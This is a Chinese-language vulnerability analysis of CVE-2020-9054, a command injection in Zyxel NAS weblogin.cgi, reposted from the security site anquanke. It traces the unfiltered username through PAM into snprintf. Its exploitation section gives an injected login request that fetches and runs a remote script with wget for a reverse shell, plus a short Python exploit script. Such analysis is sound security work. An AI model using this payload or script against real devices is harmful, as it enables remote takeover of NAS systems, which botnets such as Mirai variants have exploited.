zyxel nas CVE-2020-9054 漏洞分析

zyxel nas CVE-2020-9054 漏洞分析

一、漏洞概述

CVE-2020-9054是由於可執行檔案weblogin。cgi在身份驗證期間未正確過濾username引數造成的,導致攻擊者可以在傳遞給此檔案的使用者名稱中包含某些特殊字元來觸發漏洞,進而以webserver的許可權實現命令注入。

zyxel nas CVE-2020-9054 漏洞分析

二、漏洞分析

官網下載Zyxel NAS326_V5。21(AAZF。0)C0版本韌體,使用binwalk直接解包即可,定位到weblogin。cgi,使用ida開啟ext-root-bin。cgi

zyxel nas CVE-2020-9054 漏洞分析

透過

gcgiFetchStringNext(“username”, username, 63)

獲取使用者名稱,長度63(不知道輸入超過63個行不行) 然後進入

if ( user_auth(username, (int)password, (int)remote_addr, (int)v18, nptr, v8) >= 0 )// pam_authenticate()

zyxel nas CVE-2020-9054 漏洞分析

呼叫

v20 = pam_authenticate(v18, 0x8000);

zyxel nas CVE-2020-9054 漏洞分析

查詢 pam_sm_authenticate() 函式

ubuntu@ubuntu:~/Desktop/zyxel/nas/NAS326_V5。21(AAZF。0)C0/_521AAZF0C0。bin。extracted/_71BEA9。extracted/ext-root$ grep “pam_sm_authenticate” -rBinary file usr/lib/libpam。so。0。83。1 matchesBinary file lib/security/pam_pidhome。so matchesBinary file lib/security/pam_auth_admin。so matchesBinary file lib/security/pam_guestok。so matchesBinary file lib/security/pam_cloud_step2。so matchesBinary file lib/security/pam_smbpass。so matchesBinary file lib/security/pam_nologin。so matches***Binary file lib/security/pam_uam。so matches***Binary file lib/security/pam_cloud_step1。so matches

定位檔案lib/security/pam_uam。so,ida開啟如下:

zyxel nas CVE-2020-9054 漏洞分析

snprinf() 格式化username時,未作過濾,導致命令注入

三、漏洞利用

由於漏洞執行命令不能回顯,使用下載執行,進行反彈:

POST http://ip/adv。/cgi-bin/weblogin。cgi?username=admin‘;cd /tmp;wget http://xxx。xxx。xxx。xxx/re;sh re #&password=aaaimport requestsimport sysfrom requests。packages。urllib3。exceptions import InsecureRequestWarningrequests。packages。urllib3。disable_warnings(InsecureRequestWarning)def exec_command(url, command): injection = “admin’;%s #” %(command) data = {“password”: “asdf”, “username”: injection} try: r = requests。post(url=url, data=data, verify=False) except Exception as e: print (e) print(r。text)if __name__ == “__main__”: target = “https://x。x。x。x/r51201,/desktop,/cgi-bin/weblogin。cgi” #for test cmd =“wget x。x。x。x;” exec_command(target, cmd)

有些網站的目錄不一定時/adv。/,需要自己登入訪問觀察下。

四、補丁對比

zyxel nas CVE-2020-9054 漏洞分析

參考

請及時更新韌體!能利用CVE-2020-9054的Mirai新變種來襲:

https://www。6cu。com/seoxuetang/kj/2020/0328/47808。html

PAM詳解:

http://blog。chinaunix。net/uid-29479952-id-5761558。html

poc test: https://kb。cert。org/artifacts/cve-2020-9054。html

本文由

PandaIsCoding

原創釋出

轉載,請參考轉載宣告,註明出處: https://www。anquanke。com/post/id/256777

安全客 - 有思想的安全新媒體